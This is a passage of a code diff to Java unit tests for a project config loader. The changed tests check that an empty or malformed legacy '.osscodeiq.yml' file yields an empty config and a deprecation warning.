assertFalse(loaded, "Should not apply overrides from empty config"); + ProjectConfigLoader.LoadResult r = new ProjectConfigLoader().loadFrom(tempDir); + assertEquals(CodeIqUnifiedConfig.empty(), r.config()); + assertTrue(r.deprecationWarningEmitted(), + ".osscodeiq.yml presence (even empty) must emit a deprecation warning"); } @Test - void handlesInvalidYaml(@TempDir Path tempDir) throws IOException { + void invalidYamlInLegacyFileDoesNotCrash(@TempDir Path tempDir) throws IOException { + // Malformed YAML in the legacy file must not bubble up as an unchecked + // exception. The legacy-translation path logs a WARN and returns empty. Files.writeString(tempDir.resolve(".osscodeiq.yml"), "{{invalid yaml content", StandardCharsets.UTF_8); - var config = new CodeIqConfig(); - boolean loaded = ProjectConfigLoader.loadIfPresent(tempDir, config); - - assertFalse(loaded, "Should not crash on invalid YAML"); - assertEquals(".code-iq/cache", config.getCacheDir()); - } - - @Test - void partialOverridesPreserveDefaults(@TempDir Path tempDir) throws IOException { - Files.writeString(tempDir.resolve(".osscodeiq.yml"), - "max_depth: 3\n", StandardCharsets.UTF_8); - - var config = new CodeIqConfig(); - boolean loaded = ProjectConfigLoader.loadIfPresent(tempDir, config); - - assertTrue(loaded); - assertEquals(3, config.getMaxDepth()); - // Other values should remain at defaults - assertEquals(".code-iq/cache", config.getCacheDir()); - assertEquals(10, config.getMaxRadius()); + ProjectConfigLoader.LoadResult r = new ProjectConfigLoader().loadFrom(tempDir); + assertEquals(CodeIqUnifiedConfig.empty(), r.config(), + "malformed legacy YAML must produce an empty overlay, not a crash"); + assertTrue(r.deprecationWarningEmitted()); } }